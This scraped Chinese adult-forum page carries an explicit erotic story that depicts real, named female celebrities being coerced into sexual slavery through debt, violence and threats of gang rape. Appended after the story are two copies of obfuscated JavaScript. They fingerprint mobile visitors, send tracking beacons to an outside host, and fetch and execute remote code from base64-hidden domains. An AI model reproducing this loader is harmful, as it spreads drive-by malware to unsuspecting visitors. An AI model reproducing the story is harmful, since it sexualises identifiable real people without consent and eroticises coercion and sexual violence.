图片载入中

调教柏芝(图文)

特大字】 【大字】 【中字】 【小字

调教柏芝1.jpg(67.41KB)2.jpg(71.83KB)

字数:93108字

下载次数:378(一)屈辱的起始玉女明星柏芝,被褓姆通知到某酒店顶楼的总统套房,商讨一份新的电影合约。柏芝独自乘升降机上顶楼,奇怪地想:(为何要到酒店谈合约?为何褓姆和助手也不下来接我?而且连是与哪一间公司洽谈也不清楚……)柏芝今天架了副墨镜,身上穿的是曾在上香港的电台节目时,走光的粉红色小格子长袖恤衫,下半身是一条深蓝色牛仔裤,踏着一双Adidas三间球鞋,充满青春气色,娇俏可人。控制升降机的小伙子,目不转睛地盯着柏芝隆起的恤衫前襟在勐吞口水,柏芝虽略觉讨厌,但也早已习惯了男人色迷迷的目光,心中不觉暗自得意:(这家伙,看得这么明目张胆……)“叮!”升降机来到顶楼,柏芝走到约定的房间门前按铃。“啊……Cecilia,你来了……”开门的是柏芝的男助手,但见他的神色怪怪的。柏芝边走进房边笑:“怎么了?脸色这么差?生病吗?”“……”助手不答她,关上门,似是在害怕甚么似的。(他怎么了……?)柏芝脱下墨镜,只见她的褓姆正与一名约三十多岁、穿着毕挺西装、戴着墨镜、一脸胡子的男人对坐。“Hi,你是……?”柏芝坐在沙发上,向对方一笑。“这……这位是……马先生。”褓姆惶恐地抹着汗道。柏芝心想:(怎么紧张成这个样子?这人很有来头吗?)她问:“马先生,你是哪家电影公司的?”“……”对方默不作声。她微觉不满,想:(这男人这么没礼貌……)但在娱乐圈的训练,使她没有发作,面上仍挂着亲切的笑容。“马先生……的电影公司……是新成立的,想要你拍创业作……”褓姆结巴巴的道,一边拿起了桌上的一份合约。柏芝接过想:(创业作便找我演出,看来蛮看重我呢!)谁知她稍加细看,立时大怒道:“三级片?你找我拍三级片?”她怒问褓姆:“你有看过这合约的吗?”“有……”褓姆嗫嚅道:“你听我说……”柏芝对外人还不致于生气:“马先生,我想你与他有点误会了,我不会接拍三级片的。”马先生不屑地一笑,褓姆拉着柏芝道:“Cecilia,你别无选择了……我与你爸爸也出了点麻烦。”“爸爸?”柏芝心中暗叫不妙。此时她父亲勇哥竟畏首畏尾地自一间房间中走了出来:“柏芝……”柏芝的父亲是江湖中人,上一次虚假的“奸杀令”弄得满城风雨,差点毁了她的星途。柏芝禁不住站起来:“你又搞出甚么事情来了?”勇哥断续道:“我收错了内幕消息……与你的褓姆一起买股票,输了……”

“输了多少?”柏芝一边盘算着自己的积蓄与物业。“一、一……”勇哥像是难于启齿。柏芝气道:“究竟输了多少?一百万?一千万?”“是……一亿。”褓姆低着头道。“甚……甚么?!”柏芝大叫了出来,几乎要晕到,这个数目,远非她所能负担。她盯着马先生,心里想:(这样便想乘人之危,逼我拍三级片?没那么容易!)她道:“马先生,我没本事替我爸爸还债,但我也不会拍三级片的!我最多替他申请破产!”勇哥拉着柏芝道:“你别这么大声……他是我社团的龙头的儿子。”(原来是黑社会……)柏芝首次觉得事情棘手了。勇哥低声道:“我输的是亏空社团的钱,若还不了,必定死无全尸。柏芝,你要帮爸爸呀!”牵涉到黑社会,柏芝也有点六神无主了,她摔开父亲的手:“我……我怎可……我们去报警吧!”“警察恨不得我死,怎会保护我?”勇哥竟向女儿下跪:“你不念着爸爸,也要想想你妈、姐姐和两个弟弟呀!”柏芝想起母亲、同母异父的姐姐碧芝、刚加入娱乐圈的弟弟豪龙、还有那只有几岁大的小弟,又急又乱地想:(若我不答允,那些没人性的黑社会会怎样对待他们?但我怎可……)她对马先生道:“我现在正当红……工作不断……可以分期还你吗?”但马先生仍是目无表情的不答。勇哥突然哭着对柏芝叩头:“你一定要救爸爸……你若不应允,他们会向我们一家下手的……爸爸求你呀!”“好啦……别哭了!”柏芝想到家人安危,不得不屈服。她坐下来,深吸了一口气,终于提笔签了那份要她演出六部三点毕露的三级电影的合约。“好,大功告成啦!”只见比柏芝早出道的慧琳突然自套房内的房间走出,身后还跟着台湾出身、现在于日本发展的若瑄、与饰演清朝格格走红的心如(她们……怎会在这里?)柏芝一愕,但已无心追究,立时动身要走:“爸爸,我们走吧……”“张勇可以走,你留下来!”慧琳使劲地把柏芝推坐回沙发上,神色十分嚣张,与平常幕前的形象截然不同,柏芝也吓了一跳。“马少爷,我先走了……柏芝,你好好与马先生……谈谈吧!”勇哥陪笑着走了,竟丢下女儿不管。(这样的爸爸……从小到大,只会拖累我……)柏芝心中不禁对父亲极为失望。“马先生……我们也走了……”褓姆也拉着柏芝的助手想离去。“别急着走,”慧琳对褓姆别有意味地一笑:“你俩也受惊了,就留下来拿回些”补偿“吧!”“……”二人闻言,立时便不敢离开了。柏芝在沙发上坐直了身子,猜疑想:(她们三人难道是受这姓马的“照顾”的?)慧琳在柏芝对面坐了下来,双腿交叠,点着了一根烟,模样冷傲之极。她今天的打扮是那《初恋XX面》唱片封套的造型──长发披面、黑粗框眼镜、黑色紧身皮褛和窄身蓝色牛仔裤,一双长腿线条表露无遗。饶是褓姆二人在战战兢兢的情况下,仍是不时在打量她的下半身。柏芝忍受不了这沉默气氛,问:“为何不让我走?”“要你签约,并不是要你拍三级电影,”慧琳吐出一个烟圈道:“其实是要你当主人的性奴隶。今天起,我就是你的调教师!”(性奴隶……?)柏芝明白了慧琳三人与马先生的关系,即时回道:“我只答应了拍那些电影……其他的……你们休想!”“你没选择权!你铁定要当主人的性奴!若你表现令主人满意,主人便会考虑免你拍三级片;否则不但要照拍,还会是打真军的四级!”慧琳冷笑道,她似乎是马先生的代言人。“你……你妄想!”柏芝气得站起来:“我才不会……”“啪!”慧琳竟随即起身掴了柏芝一记耳光:“你再多说一句,我就把你交给全社团的兄弟轮奸!立刻给我脱衣服,让主人看你淫贱的肉体!”“……”柏芝的俏脸现出了淡淡的红掌印,从小她就备受宠爱,从没被人打过,不禁又惊又怒,却又不敢发作。心如在马先生身旁坐下,替他倒了杯红酒;若瑄却走到柏芝身后,低声道:“你识趣点吧!你也不想家人有事吧?快脱。”“……”念及母亲等人、加上惟恐真的会遭受轮奸,柏芝无奈决定从命了她看了褓姆二人一眼,对慧琳道:“可不可以……叫他们离开?”慧琳嗤笑道:“他们平日帮你这么多忙,今天你就当回报吧。脱!”要柏芝在熟悉的人面前宽衣,加强她的屈辱与耻感,就是慧琳开始调教的第一步柏芝双手无助地放在衣襟上,迟疑未决,因为她看见褓姆二人都金睛火眼地看着自己……“快脱啦!装甚么淑女?!”慧琳站起来骂道,扬手又要掌掴柏芝……

“别这样,你吓坏她啦……”若瑄把柏芝往后拉,使她避过一掌。“三分钟内,若不脱清光,我便叫人来轮奸你!”慧琳瞪着柏芝道。“……”柏芝平素在家中当家作主,管束姐弟,颇有威严;男朋友东东也对她千依百顺;现在被慧琳又打又骂,心中既气且怕,已是方寸大乱。“快脱吧,”若瑄在柏芝耳边轻声道:“我保不了你多少次哦!”“……”柏芝知道无法再拖延了,两手执住恤衫领口的第一颗衣钮,就要动手……(如果从上边开始解钮,就会很快让他们看见胸部……)柏芝一转念,手往下移,由恤衫下摆最低处开始,缓缓地解开衣钮。倒数最下面的两颗衣钮松开,柏芝纤幼雪白的腰肢已映入众人眼帘,褓姆与助手都明目张胆地看着。柏芝感受到各人的目光,只好低垂眼睛不与他们视线接触,又解开了第三颗衣钮。至此柏芝的恤衫的下半截已完全敞开,腰身、脐洞、小腹让人一览无遗;而粉红色小格子胸围亦从未解开的恤衫上襟下露出了下半边罩杯,丰满地隆起,叫人更欲一窥全豹。“呵呵,好香艳啊!是知道今天要让大家欣赏,而特别穿的吗?”慧琳讪笑道。柏芝更觉难堪,默默地解开了余下所有的衣钮,恤衫从中间分开,柏芝的幼肩带棉质胸围及一对36D乳房便不设防地暴露出来了。柏芝娇肤白晢,双乳色泽胜雪,在胸围承托下的D罩杯乳房浑圆结实,场中不论男女也注目不休“……”柏芝偷望到众人的眼光,本能地交叉着双手挡夹在胸前,但这样一来,她双乳却夹得更紧,乳沟益显深长,更添诱惑,只看得褓姆二人胯下瞬间已勃起。“谁叫你停手?继续!”慧琳喝道。露出上半身已使柏芝万分尴尬,她虽把手放在牛仔裤上的皮带扣子,却难以下定决心:“……”“动作快些,不然Kelly会动怒的。”若瑄从后握住柏芝双手,带动她松开皮带扣子和裤钮。“喂,别帮她!哪有不懂脱衣服的奴隶?”慧琳走前拉开若瑄的手,向柏芝叫道:“自己拉开拉链!”“……”柏芝慢慢地拉开拉链,双手执住两边裤头,但与上身胸围成配对的粉红色小格子内裤的裤头也呈现出来了。“松手!”慧琳扯开柏芝双手,牛仔裤掉在柏芝脚跟下,一双修长的美腿便展现人前。桃色的内裤与洁白的盛臀、大小腿形成完美无暇的配搭,柏芝意欲把双手挡在内裤之前,若瑄却轻轻的把她双手拉到背后,叫她无从遮掩。而这双手微往后缩的姿态,使她的胸脯更往前挺起,只羞得柏芝偏着头、半闭了眼、脸颊绯红不已。3.jpg(21.58KB)4.jpg(18.87KB)

柏芝因为害怕,胸膛微微起伏;双腿也发抖轻颤;加上她那副既羞且惊的神情,叫人我见犹怜,却又挑起人性的兽欲,想要凌辱她一番。“还有鞋子!”慧琳拨开若瑄握着的手,要柏芝脱剩下来的球鞋。柏芝自掉在地上的牛仔裤裤筒中抽出双脚,就要蹲下来解球鞋的鞋带……

“不许蹲下!”慧琳喝止她:“伸直双腿!弯腰用双手解鞋带!”柏芝只道慧琳故意难为她,听命照办,以犹如上体育课时,弯腰伸指尖碰触脚尖的姿势,去解右足的球鞋……(这……原来……)未几,她才发觉这姿势是别有用心的──这种弯身下俯的模样,使她的双乳完全下倾,众人都可在她身前饱览那近乎自胸围中跌出的巨乳。“她的头发遮住大家的视线哦!”慧琳刻意要柏芝受辱,命若瑄掠起柏芝那下垂挡在胸前的秀发,令人毫无阻碍地观看她的豪乳。柏芝害羞不已,快捷地松了鞋带,想要抽出脚来以回直立的姿势,谁知慧琳却把她的腰再往下压:“别急着起来,要把整条鞋带抽出来!”(分明是要我维持这难看的姿势久一点……)柏芝虽想一口气抽出鞋带,但鞋带是交错地来回穿进鞋身两边的洞孔中,要松出非要花上一点时间不可,加上柏芝这姿势也大是讲究腰力,更使她的进度缓慢。(真难为情……)柏芝焦急地要尽快松出鞋带,两手动作的幅度更大,乳房因双肩的挪动而轻轻摇摆,波涛汹涌,诱人得很。柏芝好不容易松出了右鞋球鞋的鞋带,把穿着白色短袜的右脚自球鞋中抽出,已是腰身酸痛,香汗溢冒柏芝正待依样葫芦抽出左脚鞋带,慧琳又有另一种指示:“不用弯腰了!把左脚踏上茶几上脱!”如果说上一个姿势是突出柏芝的胸部,那这姿势就是突显她下半身的曲线了──柏芝左腿踏着茶几,再弯身解鞋带,左小腿因使力而收紧,更形修长结实;左大腿和左臀也因这姿势而抬高;还有那粉红色内裤的中央地带亦因此而微微鼓胀,教人看得心猿意马,血脉沸腾。若瑄善解人意地轻揉着柏芝的背部,纾减她的辛劳;不一会柏芝终于也松出了左边球鞋的鞋带,把左脚抽出,放回地上。此时柏芝身上除了一件中门大开的恤衫,就只剩下香艳的粉红色内衣和一双像女中学生穿的白色短袜,两者合起来的感觉既诱惑又纯洁。柏芝右手拿着两条白色的鞋带,挡在内裤之前;左臂横放按着胸围;含羞地偏着头,一把直发掩盖了半边面膛,忐忑不安猜测着自己将要面对的命运:(如果她要我……再脱下去,那怎么办?)慧琳并未要柏芝等待太久,只听得她对若瑄道:“替主人测试这性奴的身体吧!”“来,妹妹,别紧张……”若瑄从后把脸孔贴在柏芝右颊上,用唇片摩娑她的右耳;左手则轻轻把玩她左边的耳垂;右手也抚弄着她滑熘的下巴。柏芝骤觉耳面发痒,但若瑄一直待她较慧琳来得友善,她也不太反感;而且唯恐反抗会惹怒慧琳,她也不敢推开若瑄,只是在不时因麻痒而轻微地转动头颈:(好……好痒……)“唿……”若瑄忽地朝柏芝右耳吹气,使她浑身一软;同时张嘴把她的耳垂含在唇间,徐徐啜弄:“雪……雪……”(丫……好痒……)柏芝禁受不住,偏歪着头要避开;若瑄却伸出舌头,来回舔舐她整只右耳,甚至把舌尖钻入她的耳洞内旋转。“雪……雪……”柏芝耳中充斥着若瑄的唾液,酥痒不已,头颈扭动挣扎间,若瑄的舌根却乘势自耳珠滑落至她的粉颈,由咽喉再回吻至柏芝的唇片上。“雪……”若瑄的舌头不断在柏芝双唇间舔吻,意图伸入口内,但柏芝却紧闭着嘴巴:(大家也是女孩子……我怎可和她接吻?)若瑄持续舔着柏芝的双唇,两手却自下方伸入柏芝的胸围内,搓揉着她的双乳。(她的手……好冰……)柏芝打个哆嗦,伸手握住若瑄双臂,却未能阻止她肆意的捏弄。“我不会弄痛你的……”若瑄不愧是拍三级片出身,爱抚的技巧与力度恰到好处,使柏芝绷紧的皮肤与精神也松弛下来。(她摸得……我很……)若瑄的指尖在柏芝双乳的乳晕周边旋动、拨扫,皆偏偏不触及乳头,但这挑拨已引起柏芝的反应:(为甚么……她不摸那个地方……只摸旁边……好痒哦……)若瑄看出柏芝的渴求,在她耳边低语:“舒服吗?”“嗯……”柏芝低哼一声似在回应,竟不自觉隔着胸围轻推若瑄的双手碰触自己的乳蒂。若瑄在她耳际低声道:“想我摸你的乳头?”“……”虽然柏芝已有感觉,亦肯定其他人听不到若瑄这问话,但碍于羞耻心,她却未有回应。“想我摸你的乳头,就点一下头吧!”若瑄的指尖仍然只在柏芝的乳尖旁挑逗。“……”柏芝犹疑了片刻,最后还是红着面轻轻一沉下巴。若瑄两手食指分别在柏芝乳蒂上轻轻压落,因着指头的冰冷,乳蒂立时微微变硬了。(丫……好冰……)若瑄的手指一时在乳蒂上旋转、一时夹捏、一时搓揉,使柏芝的乳头膨胀充血,变得坚实起来。“丫……”若瑄更轻轻的以指甲尖刮拨、刺挑高高突起的乳头,柏芝敏感得失声低唿。若瑄的右手自胸围中抽出,往下抚摸柏芝的小蛮腰、小腹,最后停留在内裤前方,隔着那层粉红色棉布探扫她的下阴。“不要……”柏芝把若瑄的手拉开:(再摸下去……我会有感觉的……)

“还是不愿和我接吻吗?”若瑄低声问。其实柏芝被她挑逗良久,已觉喉头干渴:(如果和她接吻,可能会舒服一点的……)柏芝低语:“他们……在看……”(成功了,性欲已被我挑起了。)若瑄心中暗笑,道:“那我们进房吧!”

若瑄轻轻推着柏芝走向一间房间,慧琳竟没阻止。二人进了房,若瑄关了门,只见那是一间上下左右皆是镜子的房间。(我现在这样子真的……)柏芝见房内倒映出无数只穿着恤衫、内衣裤和袜子的自己,立时羞涩得满面绯红。若瑄从后搂着她道:“现在没那么害怕吧?”柏芝一时间冷静了不少,问:“你……到底要怎样测试……我?”若瑄体谅地轻拍她肩膊,道:“我也不想你在外面被人看着难堪,才带你进来;我也是身不由己的……我们就在这儿待一会,你让我摸一下、亲一下之后,我就对她们说完事了,好吗?”(她也是女孩子,被她摸摸也总胜过给外边这么多人看着……)柏芝不得已一点头。若瑄双手继续伸入胸围内揉动柏芝双乳,道:“我们接吻吧,慧琳可能会进来视察的。”“……”柏芝慢慢把樱唇凑向若瑄,但当她看见镜中自己这模样时,立时偏开了头:“不,不行……”“你害羞么?”若瑄拿出一个布的睡眠眼罩:“那幪着眼睛吧,看不见便不用怕了。”若瑄把眼罩贴在柏芝双目上,在她脑后绑好蝴蝶结:“这样没问题了吧?”

眼睛被幪住,柏芝只觉眼前漆黑一片,然后感觉到若瑄带着她来来回回绕圈走了十多步,“放轻松些,开始了。”柏芝感到若瑄温软的唇片靠过来,终于顺从地微微张开嘴巴:“……”若瑄先是轻轻地吮着柏芝的上下唇,然后才把舌头伸进她腔内,舐吻她的牙齿、牙肉、上下颚……(她吻得好慢……好温柔……比东东吻我还舒服……)柏芝完全沉醉于若瑄的吻技中,不久更不自觉地伸舌与来舌交缠起来,互相吸啜着对方的津液:“雪……雪……”“来,把舌头伸出来。”若瑄说道,此时柏芝的性欲已冒升起来,加上不用顾忌旁人目光,依言张开嘴伸出了丁香小舌,与若瑄的舌尖在腔外放肆地舔磨,二人的嘴角都流出了唾液。“你的胸围扣着,我的手很难活动啊,解开扣子好吗?”若瑄在她耳畔道粉红色的胸围紧贴着柏芝结实的胸脯,本就没有多少空间,若瑄把手自罩杯下方伸入,确是不太便利。(如果解开了,她也许会摸得我更舒服……)柏芝陶醉于若瑄的爱抚技巧,慢慢已忘掉自己在被施行屈辱的“身体测试”,竟轻轻点头,以示同意。若瑄伸手解开了前扣式胸围的扣子,果然摸得更随心所欲,把柏芝那两团肉球上捏下揉、左推右搓,柏芝的快感也更大了,她心想既没人在看,也忍不住低吟起来:“唷……”“我吻你、摸你舒服,还是东东摸你、吻你舒服?”若瑄问。柏芝虽曾在澳洲读书,但性观念并不开放,对同性恋既不抗拒,也没兴趣;然而当身为女子的若瑄挑逗她时,她却这么容易兴奋,也教她迷茫:(东东虽也算温柔,但与她比起来,却是她让我有更多快感……)若瑄又问:“你有与东东做爱吗?”“还……没有……”柏芝被她摸得浑身火热,唿吸渐渐急速。“没有?那你平常怎样解决性欲的?自慰吗?”柏芝并未回答,但这羞人露骨的问题传入她耳中,竟叫她莫名地兴奋起来“回答我,你有自慰吗?一星期多少次?”若瑄双手滑落至柏芝肚腹,抚摸她的脐洞。“没……没有……”“怎可能没有?快说。”“有……一星期……一、两次……”柏芝含煳地低声说道。(我明明知道不该把这种……羞耻的事情告诉她的,为甚么我还是说了?)与若瑄进行淫亵的对话,令她有一种刺激的快意,使她虽迟疑,但还是吐露了真言。“一星期两次,你很饥渴、很淫乱哦!”柏芝只觉若瑄的手移放在她内裤上,“我……我不是。”柏芝低声反驳道“是吗?让我试试吧?”若瑄十只指头在柏芝内裤上活动起来,隔着绵布抚弄她的私处。“丫……”柏芝立时敏感得扭动腰肢:“别摸……”虽然隔着一层布,但阴户被受刺激,慢慢已有爱液流出,沾湿了内裤。“还说自己不淫荡?这么快便湿了。”若瑄把柏芝的手拉到内裤上:“今天还未自慰吧?自己来一次吧!”“不……”柏芝口中虽说不,但性感已蔓延全身,在若瑄带动下,双手终于隔着内裤搓揉下体。柏芝平常自然是直接用手触碰私处,但这时既有若瑄在旁,仅存的羞耻心使她只在内裤外隔靴搔痒;但不知是不是因为幪着眼睛及知晓若瑄正在观看,这两种前所未有的刺激与罪恶感,竟令柏芝有比直摸阴户更强大的愉悦:“哎……”

(好……厉害的感觉……我从未如此……)未几,柏芝的爱液已把粉红色的内裤沾湿了一大片,连阴毛也隐约可见。左撇子的她以左手食、中二指并合,在阴唇的位置压旋,腰腿微颤,低吟不已:“丫……唷……”若瑄扶着她在沙发似的东西上坐下,让她半躺在自己身上,轻轻替她张开大腿:“这样更舒服吧?放胆叫出来啊,他们听不见的。”若瑄说着,更轻咬柏芝耳垂,一手捏着她已膨胀的嫩红乳蒂,一手继续带动柏芝的玉手自慰。“啊……呀……嗯……”柏芝一直压低声量,经若瑄一说,终于放胆吟叫:“啊……唷……”柏芝面颊冒汗,两腮火红,全身发热,腰往上挺,腿脚乱扭,二指揩扫的速度越来越快,看来快将高潮了。“要来了吗?”若瑄问道,一边解下了柏芝的眼罩。“要……来了……呜……”柏芝本就放松得闭上眼自慰,也不在意,手指持续抚弄,想尽快把自己带上高峰。5.jpg(67.41KB)6.jpg(71.83KB)

“啊……”高潮快将来到之时,柏芝的耳畔却响起了慧琳的嘲笑声:“这么淫荡的模样,还算甚么清纯玉女偶像?”“!!”柏芝一惊,立时住手睁眼──只见自己与若瑄竟坐在先前大厅的沙发上,在马先生、慧琳、心如、褓姆及助手等人面前坦露乳房、张开大腿自慰!

柏芝急忙坐起掩着双乳,夹紧双腿,羞得低头欲哭:(她刚才……幪我的眼……带我绕圈子……原来已带了我走出来……)(我竟然在这么多人面前……)想起刚才自己的浪叫跟自慰的样子映入众人眼帘,柏芝只觉无地自容。“一星期自慰两次?好大性需要呀!”慧琳托高柏芝的头,迫她面对褓姆及助手:“你们也不知道吧?”柏芝见二人一副面红耳热的模样,立时偏过头不敢面对:(我竟在他们的面前……)褓姆及助手目睹柏芝自慰,阳具早已坚硬如铁,差不多按捺不住,想要手淫发泄,心中都在想:(如果能干柏芝便好了!)慧琳见二人欲火焚身,向他们淫笑道:“我知道你们的心意,来,去和她做爱吧!”(甚么?!)柏芝大惊,她最担心的事终于发生了!“上吧!”慧琳把迟疑着的二人推向柏芝。“……”褓姆与助手吞着口水,缓缓地走向柏芝……“不……不要,你们别过来!”柏芝两手紧紧地遮掩着半裸的身子,在沙发上后缩,声音与身体都在颤抖,极度惶恐无助……[本帖最后由shinyuu1988于编辑]嘎子牛金币 10文章回复过百,追加奖励

嘎子牛贡献 1文章回复过百,追加奖励


上一篇:我与福利社的阿姨(1-7)

下一篇:老婆大家玩


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};